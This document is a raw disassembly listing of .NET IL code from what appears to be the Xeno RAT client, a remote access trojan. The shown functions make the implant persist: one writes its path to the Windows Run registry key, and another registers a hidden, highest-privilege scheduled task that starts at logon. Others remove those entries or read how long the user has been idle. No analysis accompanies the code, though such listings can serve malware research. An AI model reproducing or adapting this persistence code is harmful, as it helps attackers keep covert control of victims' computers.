00005ffaldloca.s 0
00005ffcldflda <>t__builder
00006001call get_Task
00006006ret
00005fd0

00006014
00006014xeno_rat_client.Utils::Uninstall:
00006014ldloca.s 0
00006016call Create
0000601bstfld <>t__builder
00006020ldloca.s 0
00006022ldc.i4.m1
00006023stfld <>1__state
00006028ldloca.s 0
0000602aldflda <>t__builder
0000602fldloca.s 0
00006031call 0x2B000040
00006036ldloca.s 0
00006038ldflda <>t__builder
0000603dcall get_Task
00006042ret
00006014

00006050
00006050xeno_rat_client.Utils::AddToStartupNonAdmin:
00006050ldloca.s 0
00006052call Create
00006057stfld <>t__builder
0000605cldloca.s 0
0000605eldarg.0
0000605fstfld executablePath
00006064ldloca.s 0
00006066ldarg.1
00006067stfld name
0000606cldloca.s 0
0000606eldc.i4.m1
0000606fstfld <>1__state
00006074ldloca.s 0
00006076ldflda <>t__builder
0000607bldloca.s 0
0000607dcall 0x2B000041
00006082ldloca.s 0
00006084ldflda <>t__builder
00006089call get_Task
0000608eret
00006050

0000609c
0000609cxeno_rat_client.Utils::AddToStartupAdmin:
0000609cldloca.s 0
0000609ecall Create
000060a3stfld <>t__builder
000060a8ldloca.s 0
000060aaldarg.0
000060abstfld executablePath
000060b0ldloca.s 0
000060b2ldarg.1
000060b3stfld name
000060b8ldloca.s 0
000060baldc.i4.m1
000060bbstfld <>1__state
000060c0ldloca.s 0
000060c2ldflda <>t__builder
000060c7ldloca.s 0
000060c9call 0x2B000042
000060celdloca.s 0
000060d0ldflda <>t__builder
000060d5call get_Task
000060daret
0000609c

000060e8
000060e8xeno_rat_client.Utils::GetIdleTimeAsync:
000060e8ldloca.s 0
000060eacall Create
000060efstfld <>t__builder
000060f4ldloca.s 0
000060f6ldc.i4.m1
000060f7stfld <>1__state
000060fcldloca.s 0
000060feldflda <>t__builder
00006103ldloca.s 0
00006105call 0x2B000043
0000610aldloca.s 0
0000610cldflda <>t__builder
00006111call get_Task
00006116ret
000060e8

00006124
00006124xeno_rat_client.Utils::GetIdleTime:
00006124ldloca.s 0
00006126initobj LASTINPUTINFO
0000612cldloca.s 0
0000612eldloc.0
0000612fcall 0x2B000044
00006134stfld cbSize
00006139ldloca.s 0
0000613bcall GetLastInputInfo
00006140pop
00006141call get_TickCount
00006146ldloc.0
00006147ldfld dwTime
0000614csub
0000614dret
00006124

0000615c
0000615c<>c__DisplayClass16_0::<RemoveStartup>b__0:
0000615ccall IsAdmin
00006161brfalse IL_01d8
00006166newobj .ctor
0000616bstloc.1
0000616cldloc.1
0000616dcallvirt get_StartInfo
00006172ldstr "schtasks.exe"
00006177callvirt set_FileName
0000617cldloc.1
0000617dcallvirt get_StartInfo
00006182ldstr "/query /v /fo csv"
00006187callvirt set_Arguments
0000618cldloc.1
0000618dcallvirt get_StartInfo
00006192ldc.i4.0
00006193callvirt set_UseShellExecute
00006198ldloc.1
00006199callvirt get_StartInfo
0000619eldc.i4.1
0000619fcallvirt set_RedirectStandardOutput
000061a4ldloc.1
000061a5callvirt get_StartInfo
000061aaldc.i4.1
000061abcallvirt set_CreateNoWindow
000061b0ldloc.1
000061b1callvirt Start
000061b6pop
000061b7ldloc.1
000061b8callvirt get_StandardOutput
000061bdcallvirt ReadToEnd
000061c2stloc.2
000061c3ldloc.1
000061c4callvirt WaitForExit
000061c9leave.s IL_0072
000061cbpop
000061ccleave.s IL_0072
000061celdloc.1
000061cfcallvirt Dispose
000061d4ldloc.2
000061d5ldc.i4.1
000061d6newarr System.Char
000061dbdup
000061dcldc.i4.0
000061ddldc.i4.s 10
000061dfstelem.i2
000061e0callvirt Split
000061e5stloc.3
000061e6ldloc.3
000061e7ldlen
000061e8conv.i4
000061e9ldc.i4.1
000061eable IL_01d3
000061efldloc.3
000061f0ldc.i4.0
000061f1ldelem.ref
000061f2ldstr "\""
000061f7ldstr ""
000061fccallvirt Replace
00006201ldc.i4.1
00006202newarr System.Char
00006207dup
00006208ldc.i4.0
00006209ldc.i4.s 44
0000620bstelem.i2
0000620ccallvirt Split
00006211call 0x2B000045
00006216stloc.s 4
00006218ldloc.s 4
0000621aldstr "TaskName"
0000621fcallvirt IndexOf
00006224stloc.s 5
00006226ldloc.s 4
00006228ldstr "Task To Run"
0000622dcallvirt IndexOf
00006232stloc.s 6
00006234ldloc.3
00006235stloc.s 7
00006237ldc.i4.0
00006238stloc.s 8
0000623abr IL_01c8
0000623fldloc.s 7
00006241ldloc.s 8
00006243ldelem.ref
00006244ldc.i4.1
00006245newarr System.String
0000624adup
0000624bldc.i4.0
0000624cldstr "\",\""
00006251stelem.ref
00006252ldc.i4.0
00006253callvirt Split
00006258stloc.s 9
0000625aldloc.s 4
0000625ccallvirt get_Count
00006261ldloc.s 9
00006263ldlen
00006264conv.i4
00006265bne.un IL_01c2
0000626aldloc.s 5
0000626cldc.i4.m1
0000626dbeq IL_01c2
00006272ldloc.s 6
00006274ldc.i4.m1
00006275beq IL_01c2
0000627aldloc.s 9
0000627cldloc.s 6
0000627eldelem.ref
0000627fldstr "\""
00006284ldstr ""
00006289callvirt Replace
0000628ecallvirt Trim
00006293ldarg.0
00006294ldfld executablePath
00006299call op_Equality
0000629ebrfalse.s IL_01c2
000062a0newobj .ctor
000062a5stloc.s 10
000062a7ldloc.s 10
000062a9callvirt get_StartInfo
000062aeldstr "schtasks.exe"
000062b3callvirt set_FileName
000062b8ldloc.s 10
000062bacallvirt get_StartInfo
000062bfldstr "/delete /tn \""
000062c4ldloc.s 9
000062c6ldloc.s 5
000062c8ldelem.ref
000062c9ldstr "\" /f"
000062cecall Concat
000062d3callvirt set_Arguments
000062d8ldloc.s 10
000062dacallvirt get_StartInfo
000062dfldc.i4.0
000062e0callvirt set_UseShellExecute
000062e5ldloc.s 10
000062e7callvirt get_StartInfo
000062ecldc.i4.1
000062edcallvirt set_RedirectStandardOutput
000062f2ldloc.s 10
000062f4callvirt get_StartInfo
000062f9ldc.i4.1
000062facallvirt set_CreateNoWindow
000062ffldloc.s 10
00006301callvirt Start
00006306pop
00006307ldloc.s 10
00006309callvirt WaitForExit
0000630eleave.s IL_01b7
00006310pop
00006311leave.s IL_01b7
00006313ldloc.1
00006314callvirt Dispose
00006319leave.s IL_01c2
0000631bpop
0000631cleave.s IL_01c2
0000631eldloc.s 8
00006320ldc.i4.1
00006321add
00006322stloc.s 8
00006324ldloc.s 8
00006326ldloc.s 7
00006328ldlen
00006329conv.i4
0000632ablt IL_00e3
0000632fleave.s IL_01d8
00006331pop
00006332leave.s IL_01d8
00006334ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006339stloc.0
0000633aldc.i4 -2147483647
0000633fldc.i4 256
00006344call OpenBaseKey
00006349ldloc.0
0000634aldc.i4.1
0000634bcallvirt OpenSubKey
00006350stloc.s 11
00006352ldloc.s 11
00006354callvirt GetValueNames
00006359stloc.s 7
0000635bldc.i4.0
0000635cstloc.s 8
0000635ebr.s IL_0249
00006360ldloc.s 7
00006362ldloc.s 8
00006364ldelem.ref
00006365stloc.s 12
00006367ldloc.s 11
00006369ldloc.s 12
0000636bcallvirt GetValue
00006370callvirt ToString
00006375ldstr "\""
0000637aldstr ""
0000637fcallvirt Replace
00006384callvirt Trim
00006389ldarg.0
0000638aldfld executablePath
0000638fcall op_Equality
00006394brfalse.s IL_0243
00006396ldloc.s 11
00006398ldloc.s 12
0000639acallvirt DeleteValue
0000639fldloc.s 8
000063a1ldc.i4.1
000063a2add
000063a3stloc.s 8
000063a5ldloc.s 8
000063a7ldloc.s 7
000063a9ldlen
000063aaconv.i4
000063abblt.s IL_0204
000063adleave.s IL_025f
000063afldloc.s 11
000063b1brfalse.s IL_025e
000063b3ldloc.s 11
000063b5callvirt Dispose
000063baendfinally
000063bbleave.s IL_0264
000063bdpop
000063beleave.s IL_0264
000063c0ret
0000615c

00006464
00006464<>c__DisplayClass18_0::<AddToStartupNonAdmin>b__0:
00006464ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006469stloc.0
0000646aldc.i4 -2147483647
0000646fldc.i4 256
00006474call OpenBaseKey
00006479ldloc.0
0000647aldc.i4.1
0000647bcallvirt OpenSubKey
00006480stloc.1
00006481ldloc.1
00006482ldarg.0
00006483ldfld name
00006488ldstr "\""
0000648dldarg.0
0000648eldfld executablePath
00006493ldstr "\""
00006498call Concat
0000649dcallvirt SetValue
000064a2leave.s IL_004a
000064a4ldloc.1
000064a5brfalse.s IL_0049
000064a7ldloc.1
000064a8callvirt Dispose
000064adendfinally
000064aeldc.i4.1
000064afstloc.2
000064b0leave.s IL_0053
000064b2pop
000064b3ldc.i4.0
000064b4stloc.2
000064b5leave.s IL_0053
000064b7ldloc.2
000064b8ret
00006464

000064e4
000064e4<AddToStartupAdmin>d__19::MoveNext:
000064e4ldarg.0
000064e5ldfld <>1__state
000064eastloc.0
000064ebldloc.0
000064ecpop
000064ednop
000064eeldloc.0
000064efbrfalse IL_011d
000064f4ldstr "\r\n <Task xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'>\r\n <Triggers>\r\n <LogonTrigger>\r\n <Enabled>true</Enabled>\r\n </LogonTrigger>\r\n </Triggers>\r\n <Principals>\r\n <Principal id='Author'>\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n </Settings>\r\n <Actions>\r\n <Exec>\r\n <Command>"
000064f9ldarg.0
000064faldfld executablePath
000064ffldstr "</Command>\r\n </Exec>\r\n </Actions>\r\n </Task>"
00006504call Concat
00006509stloc.2
0000650aldarg.0
0000650bcall GetTempFileName
00006510stfld <tempXmlFile>5__2
00006515ldarg.0
00006516ldfld <tempXmlFile>5__2
0000651bldloc.2
0000651ccall WriteAllText
00006521ldarg.0
00006522newobj .ctor
00006527stfld <process>5__3
0000652cldarg.0
0000652dldfld <process>5__3
00006532callvirt get_StartInfo
00006537ldstr "schtasks.exe"
0000653ccallvirt set_FileName
00006541ldarg.0
00006542ldfld <process>5__3
00006547callvirt get_StartInfo
0000654cldc.i4.5
0000654dnewarr System.String
00006552dup
00006553ldc.i4.0
00006554ldstr "/Create /TN \""
00006559stelem.ref
0000655adup
0000655bldc.i4.1
0000655cldarg.0
0000655dldfld name
00006562stelem.ref
00006563dup
00006564ldc.i4.2
00006565ldstr "\" /XML \""
0000656astelem.ref
0000656bdup
0000656cldc.i4.3
0000656dldarg.0
0000656eldfld <tempXmlFile>5__2
00006573stelem.ref
00006574dup
00006575ldc.i4.4
00006576ldstr "\" /F"
0000657bstelem.ref
0000657ccall Concat
00006581callvirt set_Arguments
00006586ldarg.0
00006587ldfld <process>5__3
0000658ccallvirt get_StartInfo
00006591ldc.i4.0
00006592callvirt set_UseShellExecute
00006597ldarg.0
00006598ldfld <process>5__3
0000659dcallvirt get_StartInfo
000065a2ldc.i4.1
000065a3callvirt set_RedirectStandardOutput
000065a8ldarg.0
000065a9ldfld <process>5__3
000065aecallvirt get_StartInfo
000065b3ldc.i4.1
000065b4callvirt set_CreateNoWindow
000065b9ldarg.0
000065baldfld <process>5__3
000065bfcallvirt Start
000065c4pop
000065c5ldc.i4 3000
000065cacall Delay
000065cfcallvirt GetAwaiter
000065d4stloc.3
000065d5ldloca.s 3
000065d7call get_IsCompleted
000065dcbrtrue.s IL_0139
000065deldarg.0
000065dfldc.i4.0
000065e0dup
000065e1stloc.0
000065e2stfld <>1__state
000065e7ldarg.0
000065e8ldloc.3
000065e9stfld <>u__1
000065eeldarg.0
000065efldflda <>t__builder
000065f4ldloca.s 3
000065f6ldarg.0
000065f7call 0x2B000046
000065fcleave IL_01af
00006601ldarg.0
00006602ldfld <>u__1
00006607stloc.3
00006608ldarg.0
00006609ldflda <>u__1
0000660einitobj System.Runtime.CompilerServices.TaskAwaiter
00006614ldarg.0
00006615ldc.i4.m1
00006616dup
00006617stloc.0
00006618stfld <>1__state
0000661dldloca.s 3
0000661fcall GetResult
00006624ldarg.0
00006625ldfld <process>5__3
0000662acallvirt get_StandardOutput
0000662fcallvirt ReadToEnd
00006634ldarg.0
00006635ldfld <tempXmlFile>5__2
0000663acall Delete
0000663fldstr "SUCCESS"
00006644callvirt Contains
00006649brfalse.s IL_016b
0000664bldc.i4.1
0000664cstloc.1
0000664dleave.s IL_019b
0000664fldarg.0
00006650ldnull
00006651stfld <tempXmlFile>5__2
00006656ldarg.0
00006657ldnull
00006658stfld <process>5__3
0000665dleave.s IL_017e
0000665fpop
00006660leave.s IL_017e
00006662ldc.i4.0
00006663stloc.1
00006664leave.s IL_019b
00006666stloc.s 4
00006668ldarg.0
00006669ldc.i4.s -2
0000666bstfld <>1__state
00006670ldarg.0
00006671ldflda <>t__builder
00006676ldloc.s 4
00006678call SetException
0000667dleave.s IL_01af
0000667fldarg.0
00006680ldc.i4.s -2
00006682stfld <>1__state
00006687ldarg.0
00006688ldflda <>t__builder
0000668dldloc.1
0000668ecall SetResult
00006693ret
000064e4